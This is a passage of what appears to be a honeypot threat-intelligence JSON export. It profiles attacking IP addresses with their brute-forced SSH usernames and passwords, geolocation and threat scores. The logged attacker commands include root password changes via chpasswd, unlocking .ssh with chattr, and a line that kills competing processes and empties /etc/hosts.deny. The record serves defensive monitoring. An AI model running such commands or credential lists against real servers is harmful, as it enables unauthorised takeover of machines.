        "echo \"leonardo\\nimxomn8OgJoh\\nimxomn8OgJoh\\n\"|passwd",
        "echo \"root:sliPGk1IntDI\"|chpasswd|bash",
        "echo -e \"leonardo\\nimxomn8OgJoh\\nimxomn8OgJoh\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9498,
      "as_org": "BHARTI Airtel Ltd.",
      "threat_score": 34.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 254,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T23:02:37.837000+00:00",
        "last_seen_30d": "2026-05-29T23:26:39.513000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 212,
        "Suricata": 42
      }
    },
    "175.0.135.60": {
      "attack_count": 194,
      "first_seen": "2026-05-19T06:53:42.694Z",
      "last_seen": "2026-05-19T17:39:56.949Z",
      "sessions": 97,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 302,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:53:42.694000+00:00",
        "last_seen_30d": "2026-05-19T17:41:04.878000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 108
      }
    },
    "154.198.215.50": {
      "attack_count": 168,
      "first_seen": "2026-05-09T09:18:59.109Z",
      "last_seen": "2026-05-09T10:14:34.163Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "postgres",
        "test",
        "ubuntu",
        "345gs5662d34",
        "csgoserver",
        "dev",
        "es_user",
        "ftpuser",
        "guest",
        "mysql",
        "oracle",
        "root",
        "teamspeak",
        "test001",
        "teste",
        "ts",
        "user",
        "user1",
        "user2"
      ],
      "passwords_attempted": [
        "123",
        "test",
        "!QAZ2wsx",
        "1234!@#$",
        "12345",
        "123456",
        "123456789",
        "123root",
        "1qaz@WSX3edc",
        "3245gs5662d34",
        "345gs5662d34",
        "P@55w0rd",
        "P@ssw0rd",
        "Pass1234",
        "Test123",
        "Welcome!@#123",
        "admin@45",
        "clamav",
        "csgo",
        "dev@2022"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 40065,
      "as_org": "CNSERVERS LLC",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 238,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T09:18:59.109000+00:00",
        "last_seen_30d": "2026-05-09T10:15:34.832000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 70
      }
    },
    "43.173.84.162": {
      "attack_count": 168,
      "first_seen": "2026-05-17T10:13:32.215Z",
      "last_seen": "2026-05-17T10:40:26.392Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1111111111",
        "123@admin",
        "126.com",
        "1422",
        "1z2x3c4v",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123456..",
        "Pass123@",
        "alexalex",
        "apples123",
        "asimov",
        "casper",
        "eleven",
        "florence",
        "fuckme",
        "mamaliga",
        "potato123",
        "r123456",
        "satheesh"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:PkX7IwDivwj2\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T10:13:32.215000+00:00",
        "last_seen_30d": "2026-05-17T10:41:33.396000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 49
      }
    },
    "130.94.94.162": {
      "attack_count": 158,
      "first_seen": "2026-05-02T14:32:30.368Z",
      "last_seen": "2026-05-02T14:47:46.025Z",
      "sessions": 79,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 154177,
      "as_org": "LIGHT NODE LIMITED",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 240,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T14:32:30.368000+00:00",
        "last_seen_30d": "2026-05-02T14:57:52.558000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 158,
        "Suricata": 82
      }
    },
    "111.123.66.13": {
      "attack_count": 156,
      "first_seen": "2026-05-19T18:12:15.870Z",
      "last_seen": "2026-05-21T00:05:35.140Z",
      "sessions": 78,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.7,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 234,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:12:15.870000+00:00",
        "last_seen_30d": "2026-05-21T00:06:42.253000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 156,
        "Suricata": 78
      }
    },
    "200.26.188.219": {
      "attack_count": 150,
      "first_seen": "2026-05-10T13:27:41.409Z",
      "last_seen": "2026-05-31T09:15:13.832Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 62390,
      "as_org": "NexonHost Srl",
      "threat_score": 52.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.4,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 175,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T13:27:41.409000+00:00",
        "last_seen_30d": "2026-05-31T09:16:17.369000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 100,
        "Suricata": 75
      }
    },
    "120.28.222.102": {
      "attack_count": 148,
      "first_seen": "2026-05-19T10:05:35.917Z",
      "last_seen": "2026-05-19T17:57:52.589Z",
      "sessions": 74,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Cagayan de Oro",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T10:05:35.917000+00:00",
        "last_seen_30d": "2026-05-19T17:58:59.816000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 148,
        "Suricata": 75
      }
    },
    "103.187.146.72": {
      "attack_count": 144,
      "first_seen": "2026-05-22T17:00:26.833Z",
      "last_seen": "2026-05-22T17:54:13.482Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "345gs5662d34",
        "ftp",
        "git",
        "monitor",
        "simeon",
        "temp",
        "wireguard"
      ],
      "passwords_attempted": [
        "111111",
        "123123Qq",
        "123456788",
        "1234ABCD",
        "3245gs5662d34",
        "345gs5662d34",
        "Diamond1",
        "Hm123456",
        "aa888888",
        "admin#123",
        "cde3xsw2zaq1",
        "ftp@123",
        "kid",
        "monitor@2024",
        "simeon",
        "temp1234",
        "wireguard"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"admin#123\\nCiSMLvc2NTer\\nCiSMLvc2NTer\\n\"|passwd",
        "echo -e \"admin#123\\nCiSMLvc2NTer\\nCiSMLvc2NTer\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T17:00:26.833000+00:00",
        "last_seen_30d": "2026-05-22T17:55:22.031000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 42
      }
    },
    "163.182.175.142": {
      "attack_count": 140,
      "first_seen": "2026-05-12T15:38:50.565Z",
      "last_seen": "2026-05-12T23:58:16.311Z",
      "sessions": 70,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Latham",
      "asn": 40244,
      "as_org": "Turnkey Internet Inc.",
      "threat_score": 15.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 321,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T15:38:50.565000+00:00",
        "last_seen_30d": "2026-05-13T01:02:11.072000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 181,
        "Cowrie": 140
      }
    },
    "158.69.227.40": {
      "attack_count": 138,
      "first_seen": "2026-05-14T02:05:39.917Z",
      "last_seen": "2026-05-31T03:14:49.701Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Montreal",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 49.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.1,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 161,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T02:05:39.917000+00:00",
        "last_seen_30d": "2026-05-31T03:15:56.206000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 92,
        "Suricata": 69
      }
    },
    "206.135.22.34": {
      "attack_count": 132,
      "first_seen": "2026-05-22T10:04:50.552Z",
      "last_seen": "2026-05-22T20:21:00.492Z",
      "sessions": 66,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Atoyatempan",
      "asn": 28458,
      "as_org": "IENTC S DE RL DE CV",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 198,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:04:50.552000+00:00",
        "last_seen_30d": "2026-05-22T20:22:06.596000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 132,
        "Suricata": 66
      }
    },
    "204.235.242.6": {
      "attack_count": 123,
      "first_seen": "2026-05-23T17:21:21.050Z",
      "last_seen": "2026-05-23T17:57:20.664Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "aroot",
        "345gs5662d34",
        "admin",
        "dummy",
        "ts3server",
        "zabbix"
      ],
      "passwords_attempted": [
        "12345Qwert",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin@888",
        "Ff123456@",
        "aA12345678",
        "aroot",
        "dummy",
        "password",
        "qweasdzxc123",
        "ts3server",
        "zabbix",
        "zhiyu@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:lwHRRf0nakUx\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 13875,
      "as_org": "MxFiber LLC",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T17:21:21.050000+00:00",
        "last_seen_30d": "2026-05-23T17:58:28.920000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 32
      }
    },
    "102.129.200.117": {
      "attack_count": 120,
      "first_seen": "2026-05-08T22:48:28.628Z",
      "last_seen": "2026-05-31T19:30:42.376Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": null,
      "asn": 208949,
      "as_org": "Hbing Limited",
      "threat_score": 53.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.5,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 141,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T22:48:28.628000+00:00",
        "last_seen_30d": "2026-05-31T19:31:46.054000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 61
      }
    },
    "178.105.81.235": {
      "attack_count": 118,
      "first_seen": "2026-05-23T20:14:04.623Z",
      "last_seen": "2026-05-23T20:43:43.709Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftptest",
        "hong",
        "invitado",
        "sambauser"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Bingo@1993",
        "Qweasd123!",
        "Root12345",
        "as",
        "ass",
        "invitado",
        "root2026"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:mVbNe3bR4S93\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T20:14:04.623000+00:00",
        "last_seen_30d": "2026-05-23T20:44:49.228000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 30
      }
    },
    "45.116.78.93": {
      "attack_count": 68,
      "first_seen": "2026-05-27T00:07:45.507Z",
      "last_seen": "2026-05-27T00:49:06.726Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "systemd",
        "345gs5662d34",
        "hadoop",
        "newuser",
        "sysadmin",
        "terraria",
        "ubuntu"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "P@ssw0rd",
        "Voidsetdownload.so",
        "abcABC123",
        "fjbdfdjkdsfs541544AA@@",
        "karim",
        "redhat123",
        "root@2020",
        "terraria"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 28.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 99,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T00:07:45.507000+00:00",
        "last_seen_30d": "2026-05-27T00:50:16.489000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 31
      }
    },
    "185.202.223.106": {
      "attack_count": 54,
      "first_seen": "2026-05-11T02:50:23.137Z",
      "last_seen": "2026-05-31T04:52:51.969Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 47.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.0,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T02:50:23.137000+00:00",
        "last_seen_30d": "2026-05-31T04:53:55.561000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 27
      }
    },
    "185.255.100.12": {
      "attack_count": 54,
      "first_seen": "2026-05-04T19:36:23.896Z",
      "last_seen": "2026-05-31T05:59:22.835Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 53.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.0,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T19:36:23.896000+00:00",
        "last_seen_30d": "2026-05-31T06:00:31.744000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 27
      }
    },
    "103.74.21.149": {
      "attack_count": 50,
      "first_seen": "2026-05-21T02:30:27.246Z",
      "last_seen": "2026-05-21T02:35:51.788Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 139879,
      "as_org": "Galaxy Broadband",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T02:30:27.246000+00:00",
        "last_seen_30d": "2026-05-21T02:36:58.930000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "178.141.243.67": {
      "attack_count": 40,
      "first_seen": "2026-05-13T06:50:46.528Z",
      "last_seen": "2026-05-13T06:55:13.665Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Kirov",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T06:50:46.528000+00:00",
        "last_seen_30d": "2026-05-13T06:56:15.132000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 21
      }
    },
    "23.237.192.170": {
      "attack_count": 36,
      "first_seen": "2026-05-08T05:12:00.381Z",
      "last_seen": "2026-05-13T13:58:35.729Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 30058,
      "as_org": "FDCservers.net",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T05:12:00.381000+00:00",
